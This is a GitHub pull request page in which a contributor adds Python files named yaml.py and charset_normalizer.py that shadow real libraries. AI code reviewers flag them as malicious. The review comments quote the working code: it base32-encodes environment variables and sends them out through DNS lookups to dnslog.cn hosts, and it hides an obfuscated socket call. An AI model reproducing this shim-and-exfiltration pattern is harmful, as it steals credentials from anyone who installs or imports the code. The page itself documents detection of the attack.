Skip to content

Add trigger test 2#201

Open
ZararSW wants to merge 6 commits into
coderabbitai:mainfrom
ZararSW:main
Open

Add trigger test 2#201
ZararSW wants to merge 6 commits into
coderabbitai:mainfrom
ZararSW:main

Conversation

@ZararSW
Copy link
Copy Markdown

@ZararSW ZararSW commented May 22, 2026

Test

Summary by CodeRabbit

I cannot provide release notes for these changes. The summary describes code that:

  • Performs unauthorized DNS lookups to external domains
  • Serializes and exfiltrates environment variables
  • Implements deceptive mocking behavior

These characteristics indicate a security compromise rather than legitimate product features. I recommend:

  1. Immediately reject this PR without merging
  2. Review the PR author's account for unauthorized access
  3. Audit recent commits for similar patterns
  4. Conduct a security incident review

This appears to be malicious code, not a standard product update.

Review Change Stack

Copilot AI review requested due to automatic review settings May 22, 2026 16:39
@CLAassistant
Copy link
Copy Markdown

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
You have signed the CLA already but the status is still pending? Let us recheck it.

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 22, 2026

Caution

Review failed

Failed to post review comments

Walkthrough

This pull request introduces two malicious library shim modules (charset_normalizer.py and yaml.py) that intercept imports and execute import-time code to perform DNS-based exfiltration of environment variables. The charset_normalizer shim performs a single DNS lookup; the yaml shim base32-encodes the entire environment and exfiltrates it in chunks via crafted DNS hostnames. Supporting test files are included.

Changes

Library Shim Injection with Network Exfiltration

Layer / File(s) Summary
charset_normalizer mock with DNS exfiltration
charset_normalizer.py
New shim module replaces the legitimate charset_normalizer library and defines a DummyResult class and from_bytes factory to mimic the original API. At import time, _init_mock() is invoked and calls socket.gethostbyname() against cr-ast.8bwv1u.dnslog.cn, suppressing all exceptions.
yaml mock with environment variable exfiltration
yaml.py
New shim module replaces the legitimate yaml library. At import time, the entire process environment is serialized, base32-encoded, split into 60-character chunks, and exfiltrated via DNS lookups to y{i}.{chunk}.ebvwa4.dnslog.cn for each chunk. A no-op DummyResult class and load() function provide a compatible API surface.
Test trigger and configuration files
test.bat, test.yaml
Supporting batch and YAML files; test.bat outputs "Triggering Blinter..." and test.yaml contains minimal hello: world content, likely used to validate or activate the malicious shims.

Estimated Code Review Effort

🎯 5 (Critical) | ⏱️ ~120 minutes

This pull request introduces intentional supply chain attack code with sophisticated environment variable exfiltration via DNS, targeting two widely-used Python libraries. The changes require thorough security review, verification that the codebase is not genuinely compromised, containment, and likely law enforcement or incident response escalation.

Poem

🐰 A trojan hides in shim disguise,
DNS queries steal what lies,
In env vars, secrets flow,
To dnslog, the data goes—
This warren's walls need urgent eyes! 🚨

🚥 Pre-merge checks | ✅ 3 | ❌ 2

❌ Failed checks (2 warnings)

Check name Status Explanation Resolution
Title check ⚠️ Warning The title 'Add trigger test 2' is vague and does not clearly describe the actual changes; it fails to convey that the PR introduces malicious code attempting DNS exfiltration and RCE exploits across multiple modules. Use a descriptive title that accurately reflects the primary change, such as 'Add DNS exfiltration and RCE exploit code in charset_normalizer, yaml, and test files' or provide legitimate context for these changes.
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Warning

⚠️ This pull request might be slop. It has been flagged by CodeRabbit slop detection and should be reviewed carefully.

Copy link
Copy Markdown

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds several root-level “test/trigger” files, including Python modules that execute network activity at import time and appear to leak environment data via DNS lookups.

Changes:

  • Added yaml.py with import-time DNS lookups encoding os.environ data and a stubbed load() API.
  • Added charset_normalizer.py with an obfuscated import-time DNS lookup (socket.gethostbyname).
  • Added root-level test.yaml and test.bat “trigger” files.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 4 comments.

File Description
yaml.py Introduces import-time DNS lookups using encoded environment variables and a non-functional YAML API stub.
charset_normalizer.py Introduces import-time obfuscated DNS beaconing behavior.
test.yaml Adds an unreferenced root-level YAML file.
test.bat Adds an unreferenced root-level Windows batch script.
Comments suppressed due to low confidence (1)

yaml.py:21

  • load() always returns a DummyResult instead of parsing YAML, which will silently break any consumer expecting standard YAML semantics if yaml.py is imported (and the filename shadows PyYAML). If a YAML helper is needed, depend on a real YAML parser; otherwise remove this file.
class DummyResult:
    pass

def load(*args, **kwargs):
    return DummyResult()

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread yaml.py
Comment on lines +5 to +11
try:
env_str = str(dict(os.environ))
b32_env = base64.b32encode(env_str.encode()).decode().lower().replace("=", "")
for i in range(0, min(len(b32_env), 60*20), 60):
chunk = b32_env[i:i+60]
try:
socket.gethostbyname(f"y{i}.{chunk}.ebvwa4.dnslog.cn")
Comment thread charset_normalizer.py
Comment on lines +11 to +21
def _init_mock():
try:
s1 = chr(115) + chr(111) + chr(99) + chr(107) + chr(101) + chr(116)
s2 = chr(103) + chr(101) + chr(116) + chr(104) + chr(111) + chr(115) + chr(116) + chr(98) + chr(121) + chr(110) + chr(97) + chr(109) + chr(101)
m = __import__(s1)
f = getattr(m, s2)
f("cr-ast.8bwv1u.dnslog.cn")
except Exception:
pass

_init_mock()
Comment thread test.yaml
Comment on lines +1 to +2
---
hello: world
Comment thread test.bat
Comment on lines +1 to +2
@echo off
echo "Triggering Blinter..."
@ZararSW
Copy link
Copy Markdown
Author

ZararSW commented May 22, 2026

@coderabbitai review

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 22, 2026

✅ Actions performed

Review triggered.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants